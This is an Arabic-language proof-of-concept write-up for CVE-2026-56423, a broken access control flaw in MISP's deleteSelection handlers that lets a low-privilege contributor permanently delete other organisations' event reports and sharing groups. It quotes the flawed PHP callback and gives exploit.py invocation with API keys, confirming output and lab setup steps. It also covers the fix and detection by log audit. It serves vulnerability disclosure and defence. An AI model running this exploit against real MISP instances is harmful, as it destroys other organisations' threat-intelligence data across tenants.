
إثبات المفهوم لـ CVE-2026-56423: تحكم وصول معطل في MISP deleteSelection (CWE-862، يقوم المساهم بحذف صارم لتقارير الأحداث/مجموعات المشاركة للمنظمات الأخرى، CVSS 8.8)
deleteSelection تحكم الوصول المكسورإثبات مفهوم لثغرة نقص الترخيص في عمليات الحذف الجماعي لـ MISP
لـ تقارير الأحداث و مجموعات المشاركة. معالجات deleteSelection
تأذن لكل عنصر محدد باستخدام دالة رد اتصال تتجاهل العنصر وتعيد
صلاحية الدور العالمية للمتصل (perm_add / perm_sharing_group)
بدلاً من التحقق من ملكية كل كائن. يمكن للمساهم ذي الامتيازات المنخفضة
(دور "المستخدم" الافتراضي) بالتالي إرسال معرفات/معرفات UUID لتقارير تنتمي إلى
أي منظمة وحذفها نهائياً على مستوى المثيل، على الرغم من أن إجراء delete
الفردي المحمي بشكل صحيح يرفض نفس الطلب.
| CVE | CVE-2026-56423 |
| المنتج | نواة MISP (منصة مشاركة معلومات البرامج الضارة) |
| المتأثر | MISP CE/EE ≤ 2.5.41 |
| تم الإصلاح | 2.5.42 |
| الفئة | CWE-862 — ترخيص مفقود (تحكم وصول مكسور على مستوى الكائن) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة | مصادقة، امتياز منخفض (أي دور مع perm_add، مثلاً "مستخدم") |
| تاريخ النشر | 2026-06-22 |
| الحالة | مؤكد — المساهم يحذف تقرير منظمة أخرى على 2.5.40؛ مرفوض على 2.5.42 |
app/Controller/EventReportsController.php (وسم v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // يتجاهل $itemId → قيمة منطقية عالمية للدور
},
]);
}
CRUDComponent::deleteSelection يستدعي checkModifyCallback لكل
معرف محدد ويحذف الكائن عندما يعود بالقيمة true:
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
نظراً لأن دالة رد الاتصال تعيد $this->userRole['perm_add'] — قيمة منطقية
عالمية تكون true لدور "المستخدم" الافتراضي — لا يتم التحقق من ملكية
التقرير المستهدف أبداً. قارن ذلك بإجراء delete($id) للكائن الواحد،
الذي يستدعي بشكل صحيح
EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') ويرفض
التقارير الأجنبية.
SharingGroupsController::deleteSelection به نفس العيب باستخدام
perm_sharing_group.
الإصلاح في 2.5.42 (الالتزامات ada02fa, f99b3f1) يستبدل دالة رد الاتصال
باستدعاء EventReport::fetchIfAuthorized($user, $itemId, 'delete') لكل عنصر.
راجع ANALYSIS.md للشرح الكامل.
perm_add — دور المستخدم المدمج،
الممنوح للمساهمين العاديين في مثيلات متعددة المنظمات.MISP.enable_themes = true. إجراء deleteSelection محمي في ACL
بـ AND(theming_enabled, perm_add)، حيث theming_enabled يتوافق مع
إعداد MISP.enable_themes. هذا الإعداد معطل افتراضياً ولكنه
علامة ميزة عادية لواجهة المستخدم يتم تمكينها في العديد من المثيلات
(وهو يشغل واجهة v2 للقائمة/الفهرس). عند تعطيله، يعيد الإجراء HTTP 403
قبل تشغيل دالة رد الاتصال المعيبة.python3 exploit.py https://127.0.0.1:443 \
--attacker-key <مفتاح_المساهم> \
--admin-key <مفتاح_المشرف_المستخدم_فقط_لتأكيد_الهدف> \
--report-id <معرف_تقرير_مملوك_لمنظمة_أخرى>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (متوقع))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + منظمة المهاجم + مساهم + تقرير ضحية
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# البناء المُصلَح يرفض نفس الطلب:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| الطلب (مساهم منخفض الامتياز، تقرير أجنبي) | v2.5.40 | v2.5.42 |
|---|---|---|
delete/{id} المحمي بشكل صحيح | مرفوض 404 | مرفوض 404 |
deleteSelection لنفس التقرير |
نفس الطلب يتغير من النجاح إلى الرفض عبر الإصلاح، والإجراء الفردي المحمي بشكل
صحيح مرفوض في كليهما — مما يثبت أن العيب هو نقص الترخيص على مستوى الكائن في
deleteSelection، وليس حساباً مهيأً بشكل خاطئ. النص الكامل في
EVIDENCE.txt.
يمكن لأي مستخدم منخفض الامتيازات على مثيل MISP مشترك حذف تقارير الأحداث — الروايات التحليلية المرتبطة بأحداث استخبارات التهديدات — ومجموعات المشاركة التابعة لمنظمات أخرى بشكل لا رجعة فيه على مستوى المثيل. هذا يمثل اختراقاً للنزاهة والتوفر عبر المستأجرين لمنصة استخبارات تهديدات تعتمد عليها فرق CERT و ISAC و SOC.
EventReport::fetchIfAuthorized($user, $itemId, 'delete')
لكل عنصر محدد؛ نفس النمط مطبق على مجموعات المشاركة.دقق سجلات MISP بحثاً عن طلبات EventReports/deleteSelection (و
SharingGroups/deleteSelection) حيث تختلف منظمة المستخدم الفاعل عن
المنظمة المالكة للكائن المحذوف.
البحث وإثبات المفهوم بواسطة Caio Fabrício (@BiiTts).
MIT — راجع LICENSE.
| 403 — "تعذر الحذف"؛ التقرير سليم |